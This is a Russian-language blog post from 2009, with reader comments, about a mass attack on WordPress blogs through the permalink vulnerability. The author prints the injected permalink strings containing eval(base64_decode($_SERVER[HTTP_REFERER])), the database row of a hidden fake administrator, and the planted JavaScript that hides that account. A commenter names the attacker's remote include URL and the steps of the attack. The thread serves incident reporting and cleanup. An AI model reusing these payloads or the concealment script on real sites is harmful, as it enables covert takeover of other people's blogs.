Ахтунг! Атаки на WordPress блоги

Столкнулся позавчера с одним «глюком» при настройке клиентского блога — криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:
wp-ahtung
Phpmyadmin выдает при этом примерно такое:

Lost connection to MySQL server during query

и не отвечает сервер минут 50 после этого…

Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:

%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):

(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n          var t=document.getElementById("user_superuser");\n              while(t.nodeName!="TR"){\n                      t=t.parentNode;\n               };\n            t.parentNode.removeChild(t);\n          var tags = document.getElementsByTagName("H3");\n               var s = " shown below";\n               for (var i = 0; i < tags.length; i++) {\n                       var t=tags[i].innerHTML;\n                      var h=tags[i];\n                        if(t.indexOf(s)>0){\n                           s =(parseInt(t)-1)+s;\n                         h.removeChild(h.firstChild);\n                          t = document.createTextNode(s);\n                               h.appendChild(t);\n                     }\n             }\n             var arr=document.getElementsByTagName("ul");\n          for(var i in arr) if(arr[i].className=="subsubsub"){\n                  var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n                      if(n[1]>0){\n                           var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n        arr[i].innerHTML=txt;\n        }\n    }\n          }catch(e){};\n     };\n     addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');

вот этот поддельный администратор "хакер"

(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');

Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко тут

так что обновляйтесь регулярно :-)

Связанные записи

28 комментариев на запись “Ахтунг! Атаки на WordPress блоги”

  1. alexus2k 6 сентября 2009 в 18:06

    Почти тоже самое произошло с моими блогами, но проблему заметил по измененным постоянным ссылкам. Помимо всего обнаружил небольшое изменение кода в паре пхп скриптов которое вычистил сразу (wp-config.php и в скрипте суперкеширования).

    Суперхакеров убил в базе, что и вам рекомендую, лечится просто, заходим в таблицу wp_usermeta и убиваем все строки с ID юзеров у которых FIRST_NAME не выглядит нормально. В моем случае такой же жабаскрипт торчал в этом поле…

    Обновляемся чаще…

  2. Ю.Б. 6 сентября 2009 в 18:34

    > так что обновляйтесь регулярно :-)

    Если вражина уже пролезла и заделалась тайным админом, то обновление — что мертвому припарки.

  3. Санёк 6 сентября 2009 в 19:16

    Насколько знаю обновлятся бесполезно, так как баг свойственен всем версиям. Вроде должны выпустить багфикс.

  4. Ю.Б. 6 сентября 2009 в 19:58

    Насколько знаю обновлятся бесполезно, так как баг свойственен всем версиям. Вроде должны выпустить багфикс.

    В 2.8.3 уже приняты меры, чтобы юзеры не лазили куда не положено.

  5. Дмитрий Донченко 6 сентября 2009 в 22:23

    Дело в том что, есть версии что это не бага, а именно атака какого-то червяка, т.е. блоги взламываются автоматически. :(

  6. Ю.Б. 6 сентября 2009 в 22:34

    Это не бага, это — ДЫРКА.

    Процедура тривиальная: регистрация — логин — смена ЧПУ — повышение привилегий и скрытие юзера. Так что в принципе это может делать и простенький скрипт. Червяки, трояны, ботнеты и прочий hi-tec тут без надобности.

  7. Санёк 7 сентября 2009 в 0:35

    А если регистрация закрыта? Это не спасет?

  8. Ю.Б. 7 сентября 2009 в 1:04

    А если регистрация закрыта? Это не спасет?

    Закрыта вообще или только сейчас? Если вообще — то от этой напасти спасет. Но есть, наверно, и другие. Так что расслабляться рано :)

  9. Санёк 7 сентября 2009 в 2:06

    Регистрация закрыта изначально, но все равно уже пошел обновляться :)

  10. Амикецо франсе осси 7 сентября 2009 в 7:45

    Жуть жуткая…

  11. Alex 7 сентября 2009 в 14:22

    надо закрывать папки
    админскую по ip
    а в аплоад запретить выполнение php cgi и тд и тп
    и забудете про такие взломы

  12. Семенов 7 сентября 2009 в 15:55

    Спасибо за новость. Она мне в субботу вечером в дороге застала. Друг в твитер скинул «По всему миру идет массовой взлом WP блогов» И ссылку на какой то буржуйский сайт скинул. Я по английски читать плохо умею, но слова тегах h1 «Аларм!!!» «Ахтунг» и т.д. произвели должное впечатление. Я чуть не поседел пока до дома добрался. Потом только понял что не все так страшно как рисовало мне мое воображение :) Вообще думаю отказаться от WordPress кроме как для блогов. Т.е. делать многопользовательские сайты на нем все таки не стоит. А то так до пенсии можно не дожить из за того что друзья паникеры :)

  13. Daemony 7 сентября 2009 в 17:27

    Какие версии WP подвержены уязвимости?
    2.7.x попадает под нее?

  14. Ю.Б. 7 сентября 2009 в 19:14

    Какие версии WP подвержены уязвимости?
    2.7.x попадает под нее?

    С 2.2.3 по 2.8.2 включительно.

  15. Ирина 8 сентября 2009 в 3:21

    А если регистрация закрыта? Это не спасет?

    Не спасет! У меня регистрации на блоге нет вообще, однако же сегодня только избавилась от скрытого админа, который мне бложек поломал, гадина такая(((

  16. Alex Volkov 8 сентября 2009 в 15:28

    По всей видимости уязвимы вп до 2.8.3. включительно. Регистрируется пользователь даже пр закрытой регистрации, далее путем отправки запроса на xmlrpc.php специального запроса через дырку в пермалинках инклюдится вот этот файл http://links.webwordpress.cn/data/shortpart2.txt, потом правятся файлы (не у всех).
    Как проверить на заразу и лечиться я писал у себя

  17. Ю.Б. 8 сентября 2009 в 15:35

    У меня регистрации на блоге нет вообще, однако же сегодня только избавилась от скрытого админа, который мне бложек поломал, гадина такая(((

    А можно подробней? Регистрации нет сейчас или никогда не было? Есть ли другие регистрированные пользователи, кроме админа?

  18. Ю.Б. 9 сентября 2009 в 14:19

    Регистрируется пользователь даже пр закрытой регистрации

    Как?

  19. Alex 9 сентября 2009 в 22:01

    Так-так. Надо все-таки обновляться, раз такая напасть пришла, очень не хочется правда. :)

  20. Alex Volkov 9 сентября 2009 в 22:08

    Регистрируется пользователь даже пр закрытой регистрации

    Как?

    В логах сервера только пост запрос на wp-login.php.

  21. Александр 12 сентября 2009 в 21:38

    Рекомендовали же до 2.8.3 обновиться… а вообще надо искать альтернативные движки… WP уже надоедает частотой версий и их корявостью…
    Хотя смотрел аналоги (из «лучших») — поставить сходу ни один не получилось… кучу всего надо докручивать…

  22. Evgenyushka 13 сентября 2009 в 19:27

    Я сегодня прочитал на каком-то блоге в версии 2.8.1 была возможность создать какогото хидден-админа. И у чела изза этого много проблем возникло. Вот так и обновляйся :(
    Лучше старую но не такую ущербную версию иметь

  23. mataxah 15 сентября 2009 в 19:14

    Тоже самое было, восстановил базу из бекапа
    Заметил из админки, к ссылкам после слеша стала добавляться всякая хрень. я так понимаю это был редирект на дор?

  24. Ирина 24 октября 2009 в 19:58

    Лучше старую но не такую ущербную версию иметь

    Подскажите, какая версия на Ваш взгляд самая безопасная?

  25. Сергей 11 января 2010 в 14:37

    Наверное самая последняя.

  26. Игорь 19 апреля 2010 в 2:38

    Belavir — следим за изменениями в php файлах движка !

  27. Вячеслав 28 мая 2011 в 12:18

    Это всё конечно интересно только ни чё не понятно. Может мои планы оправдаются по поводу какиров.

  28. Lanos 3 июля 2011 в 1:25

    если бы не прожорливость каждой новой версии, то обновлялся бы сразу

Trackback URI | Комментарии

Оставить комментарий на запись

Я подтверждаю что полностью ознакомился с ПРАВИЛАМИ (обязательно)



При добавлении HTML|CSS|JS|PHP кода в комментарий, оформляйте его через кнопку КОД

Настроить аватар (Помощь)